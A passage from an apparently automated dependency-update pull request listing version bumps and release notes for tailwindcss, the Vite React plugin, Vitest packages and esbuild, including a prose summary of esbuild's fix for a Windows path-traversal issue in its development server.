href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20205\"\u003e#20205\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure transitions between \u003ccode\u003einset-shadow-none\u003c/code\u003e and other inset shadows work correctly (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20208\"\u003e#20208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure explicitly referenced \u003ccode\u003e@source\u003c/code\u003e directories are scanned even when ignored by git (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20214\"\u003e#20214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@source\u003c/code\u003e globs ending in \u003ccode\u003e**/*\u003c/code\u003e preserve dynamic path segments to avoid scanning too many files (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20217\"\u003e#20217\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't fold \u003ccode\u003ecalc(…)\u003c/code\u003e divisions when the result would require high precision (e.g. \u003ccode\u003ew-[calc(100%/3.5)]\u003c/code\u003e → \u003ccode\u003ew-[calc(100%/3.5)]\u003c/code\u003e, not \u003ccode\u003ew-[28.571428571428573%]\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20221\"\u003e#20221\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eServe ESM type declarations to ESM importers of \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20228\"\u003e#20228\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/056a1550721d4bf79ff732d5ab9414fa83f7064f\"\u003e\u003ccode\u003e056a155\u003c/code\u003e\u003c/a\u003e 4.3.2 (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20281\"\u003e#20281\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/8a14a710102cae195f6811e8578bef9477bc6be9\"\u003e\u003ccode\u003e8a14a71\u003c/code\u003e\u003c/a\u003e 4.3.1 (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20226\"\u003e#20226\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/522288ca08c7ed0e7e9d3256f40fd36981d451a3\"\u003e\u003ccode\u003e522288c\u003c/code\u003e\u003c/a\u003e Serve ESM type declarations to ESM importers of \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20228\"\u003e#20228\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commit/8dcdb66e8a58b9df621ed1a9cb59396e0ddb6dd7\"\u003e\u003ccode\u003e8dcdb66\u003c/code\u003e\u003c/a\u003e Bump dependencies (\u003ca href=\"https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss/issues/20095\"\u003e#20095\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/commits/v4.3.2/packages/@tailwindcss-postcss\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitejs/plugin-react` from 6.0.2 to 6.0.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react/CHANGELOG.md\"\u003e@​vitejs/plugin-react's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e6.0.3 (2026-06-23)\u003c/h2\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/640fd358a0e82393acfce4e92e19a6ac6e1641a7\"\u003e\u003ccode\u003e640fd35\u003c/code\u003e\u003c/a\u003e release: plugin-react@6.0.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/889efb02cdc4ec978a5e177a37e0213cfded38a4\"\u003e\u003ccode\u003e889efb0\u003c/code\u003e\u003c/a\u003e fix(deps): update all non-major dependencies (\u003ca href=\"https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react/issues/1249\"\u003e#1249\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/6c57dd4c5d71075b48039df2532804e72880da21\"\u003e\u003ccode\u003e6c57dd4\u003c/code\u003e\u003c/a\u003e fix(plugin-react): use '/' base in bundledDev preamble to fix non-root base p...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/3cc33a703636b558a1c1c99e787ddc6bd64aab2d\"\u003e\u003ccode\u003e3cc33a7\u003c/code\u003e\u003c/a\u003e fix(deps): update react-related dependencies (\u003ca href=\"https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react/issues/1245\"\u003e#1245\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/c0f7c7ff709dc9d88bc1f29f1b27c1b3e2bfcfca\"\u003e\u003ccode\u003ec0f7c7f\u003c/code\u003e\u003c/a\u003e docs: mention the Biome rule in the \u0026quot;Consistent components exports\u0026quot; section (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/cd80f0f7b2b750f6e8f719f9c3dbe4f22ddd94db\"\u003e\u003ccode\u003ecd80f0f\u003c/code\u003e\u003c/a\u003e fix(deps): update all non-major dependencies (\u003ca href=\"https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react/issues/1241\"\u003e#1241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/e38accafea0c7c84f7fc72fd69d9cec731fa7600\"\u003e\u003ccode\u003ee38acca\u003c/code\u003e\u003c/a\u003e fix(deps): update all non-major dependencies (\u003ca href=\"https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react/issues/1227\"\u003e#1227\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite-plugin-react/commit/9a9bb26c23b966dceed47ff9ec257faeb0e777d9\"\u003e\u003ccode\u003e9a9bb26\u003c/code\u003e\u003c/a\u003e perf(react): improve react compiler preset so that slightly more modules are ...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitejs/vite-plugin-react/commits/plugin-react@6.0.3/packages/plugin-react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/browser-playwright` from 4.1.8 to 4.1.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/browser-playwright's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.10\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10680\"\u003evitest-dev/vitest#10680\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267\"\u003e\u003c!-- raw HTML omitted --\u003e(5c18d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evm\u003c/strong\u003e: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4]  -  by \u003ca href=\"https://github.com/SveLil\"\u003e\u003ccode\u003e@​SveLil\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10661\"\u003evitest-dev/vitest#10661\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b511\"\u003e\u003c!-- raw HTML omitted --\u003e(bae52)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.9...v4.1.10\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.9\u003c/h2\u003e\n\u003ch3\u003e🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eDavid Harris\u003c/strong\u003e, \u003cstrong\u003eCodex\u003c/strong\u003eand \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10546\"\u003evitest-dev/vitest#10546\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c\"\u003e\u003c!-- raw HTML omitted --\u003e(a5180)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eWait for orchestrator readiness before resolving browser sessions [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10555\"\u003evitest-dev/vitest#10555\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651a\"\u003e\u003c!-- raw HTML omitted --\u003e(7fb29)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait for iframe tester readiness before preparing  [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10497\"\u003evitest-dev/vitest#10497\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10556\"\u003evitest-dev/vitest#10556\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fbc626c40\"\u003e\u003c!-- raw HTML omitted --\u003e(fbc62)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eHoist vi.mock() for vite-plus/test imports [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eLongYinan\u003c/strong\u003e, \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e and \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10548\"\u003evitest-dev/vitest#10548\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2c9559c02\"\u003e\u003c!-- raw HTML omitted --\u003e(2c955)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epool\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePrevent test run hang on worker crash  [backport to v4] - by \u003cstrong\u003eAri Perkkiö\u003c/strong\u003e and \u003cstrong\u003eJattioui Ismail\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10543\"\u003evitest-dev/vitest#10543\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10564\"\u003evitest-dev/vitest#10564\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587\"\u003e\u003c!-- raw HTML omitted --\u003e(934b0)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.8...v4.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/db616d227b6e0cb07a94f5d1bba262ee95db7e46\"\u003e\u003ccode\u003edb616d2\u003c/code\u003e\u003c/a\u003e chore: release v4.1.10 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/browser-playwright/issues/10718\"\u003e#10718\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267ff7f47f24cab2f615a16b37d90feb7f\"\u003e\u003ccode\u003e5c18dd2\u003c/code\u003e\u003c/a\u003e fix(browser): check fs access in builtin commands [backport to v4] (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/browser-playwright/issues/10680\"\u003e#10680\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a7a61e78c7d0718f00173cff6800a91a344457d4\"\u003e\u003ccode\u003ea7a61e7\u003c/code\u003e\u003c/a\u003e chore: release v4.1.9 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/browser-playwright/issues/10598\"\u003e#10598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.10/packages/browser-playwright\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 4.1.8 to 4.1.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.10\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10680\"\u003evitest-dev/vitest#10680\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267\"\u003e\u003c!-- raw HTML omitted --\u003e(5c18d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evm\u003c/strong\u003e: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4]  -  by \u003ca href=\"https://github.com/SveLil\"\u003e\u003ccode\u003e@​SveLil\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10661\"\u003evitest-dev/vitest#10661\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b511\"\u003e\u003c!-- raw HTML omitted --\u003e(bae52)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.9...v4.1.10\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.9\u003c/h2\u003e\n\u003ch3\u003e🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eDavid Harris\u003c/strong\u003e, \u003cstrong\u003eCodex\u003c/strong\u003eand \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10546\"\u003evitest-dev/vitest#10546\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c\"\u003e\u003c!-- raw HTML omitted --\u003e(a5180)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eWait for orchestrator readiness before resolving browser sessions [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10555\"\u003evitest-dev/vitest#10555\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651a\"\u003e\u003c!-- raw HTML omitted --\u003e(7fb29)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait for iframe tester readiness before preparing  [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10497\"\u003evitest-dev/vitest#10497\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10556\"\u003evitest-dev/vitest#10556\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fbc626c40\"\u003e\u003c!-- raw HTML omitted --\u003e(fbc62)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eHoist vi.mock() for vite-plus/test imports [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eLongYinan\u003c/strong\u003e, \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e and \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10548\"\u003evitest-dev/vitest#10548\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2c9559c02\"\u003e\u003c!-- raw HTML omitted --\u003e(2c955)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epool\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePrevent test run hang on worker crash  [backport to v4] - by \u003cstrong\u003eAri Perkkiö\u003c/strong\u003e and \u003cstrong\u003eJattioui Ismail\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10543\"\u003evitest-dev/vitest#10543\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10564\"\u003evitest-dev/vitest#10564\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587\"\u003e\u003c!-- raw HTML omitted --\u003e(934b0)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.8...v4.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/db616d227b6e0cb07a94f5d1bba262ee95db7e46\"\u003e\u003ccode\u003edb616d2\u003c/code\u003e\u003c/a\u003e chore: release v4.1.10 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/10718\"\u003e#10718\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a7a61e78c7d0718f00173cff6800a91a344457d4\"\u003e\u003ccode\u003ea7a61e7\u003c/code\u003e\u003c/a\u003e chore: release v4.1.9 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/10598\"\u003e#10598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.10/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `esbuild` from 0.28.0 to 0.28.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/releases\"\u003eesbuild's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.28.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eDisallow \u003ccode\u003e\\\u003c/code\u003e in local development server HTTP requests (\u003ca href=\"https://github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr\"\u003eGHSA-g7r4-m6w7-qqqr\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThis release fixes a security issue where HTTP requests to esbuild's local development server could traverse outside of the serve directory on Windows using a \u003ccode\u003e\\\u003c/code\u003e backslash character. It happened due to the use of Go's \u003ccode\u003epath.Clean()\u003c/code\u003e function, which only handles Unix-style \u003ccode\u003e/\u003c/code\u003e characters. HTTP requests with paths containing \u003ccode\u003e\\\u003c/code\u003e are no longer allowed.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/dellalibera\"\u003e\u003ccode\u003e@​dellalibera\u003c/code\u003e\u003c/a\u003e for reporting this issue.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd integrity checks to the Deno API (\u003ca href=\"https://github.com/evanw/esbuild/security/advisories/GHSA-gv7w-rqvm-qjhr\"\u003eGHSA-gv7w-rqvm-qjhr\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe previous release of esbuild added integrity checks to esbuild's npm install script. This release also adds integrity checks to esbuild's Deno install script. Now esbuild's Deno API will also fail with an error if the downloaded esbuild binary contains something other than the expected content.\u003c/p\u003e\n\u003cp\u003eNote that esbuild's Deno API installs from \u003ccode\u003eregistry.npmjs.org\u003c/code\u003e by default, but allows the \u003ccode\u003eNPM_CONFIG_REGISTRY\u003c/code\u003e environment variable to override this with a custom package registry. This change means that the esbuild executable served by \u003ccode\u003eNPM_CONFIG_REGISTRY\u003c/code\u003e must now match the expected content.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/sondt99\"\u003e\u003ccode\u003e@​sondt99\u003c/code\u003e\u003c/a\u003e for reporting this issue.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAvoid inlining \u003ccode\u003eusing\u003c/code\u003e and \u003ccode\u003eawait using\u003c/code\u003e declarations (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4482\"\u003e#4482\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePreviously esbuild's minifier sometimes incorrectly inlined \u003ccode\u003eusing\u003c/code\u003e and \u003ccode\u003eawait using\u003c/code\u003e declarations into subsequent uses of that declaration, which then fails to dispose of the resource correctly. This bug happened because inlining was done for \u003ccode\u003elet\u003c/code\u003e and \u003ccode\u003econst\u003c/code\u003e declarations by avoiding doing it for \u003ccode\u003evar\u003c/code\u003e declarations, which no longer worked when more declaration types were added. Here's an example:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// Original code\r\n{\r\n  using x = new Resource()\r\n  x.activate()\r\n}\r\n\u003cp\u003e// Old output (with --minify)\u003cbr /\u003e\nnew Resource().activate();\u003c/p\u003e\n\u003cp\u003e// New output (with --minify)\u003cbr /\u003e\n{using e=new Resource;e.activate()}\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix module evaluation when an error is thrown (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4461\"\u003e#4461\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4467\"\u003e#4467\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eIf an error is thrown during module evaluation, esbuild previously didn't preserve the state of the module for subsequent module references. This was observable if \u003ccode\u003eimport()\u003c/code\u003e or \u003ccode\u003erequire()\u003c/code\u003e is used to import a module multiple times. The thrown error is supposed to be thrown by every call to \u003ccode\u003eimport()\u003c/code\u003e or \u003ccode\u003erequire()\u003c/code\u003e, not just the first. With this release, esbuild will now throw the same error every time you call \u003ccode\u003eimport()\u003c/code\u003e or \u003ccode\u003erequire()\u003c/code\u003e on a module that throws during its evaluation.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix some edge cases around the \u003ccode\u003enew\u003c/code\u003e operator (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4477\"\u003e#4477\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePreviously esbuild incorrectly printed certain edge cases involving complex expressions inside the target of a \u003ccode\u003enew\u003c/code\u003e expression (specifically an optional chain and/or a tagged template literal). The generated code for the \u003ccode\u003enew\u003c/code\u003e target was not correctly wrapped with parentheses, and either contained a syntax error or had different semantics. These edge cases have been fixed so that they now correctly wrap the \u003ccode\u003enew\u003c/code\u003e target in parentheses. Here is an example of some affected code:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// Original code\r\nnew (foo()`bar`)()\r\nnew (foo()?.bar)()\r\n\u003cp\u003e// Old output\u003cbr /\u003e\nnew foo()\u003ccode\u003ebar\u003c/code\u003e();\u003cbr /\u003e\nnew (foo())?.bar();\u003c/p\u003e\n\u003cp\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/blob/main/CHANGELOG.md\"\u003eesbuild's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.28.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eDisallow \u003ccode\u003e\\\u003c/code\u003e in local development server HTTP requests (\u003ca href=\"https://github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr\"\u003eGHSA-g7r4-m6w7-qqqr\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThis release fixes a security issue where HTTP requests to esbuild's local development server could traverse outside of the serve directory on Windows using a \u003ccode\u003e\\\u003c/code\u003e backslash character. It happened due to the use of Go's \u003ccode\u003epath.Clean()\u003c/code\u003e function, which only handles Unix-style \u003ccode\u003e/\u003c/code\u003e characters. HTTP requests with paths containing \u003ccode\u003e\\\u003c/code\u003e are no longer allowed.\u003c/p\u003e\n\u003cp\u003eThanks to 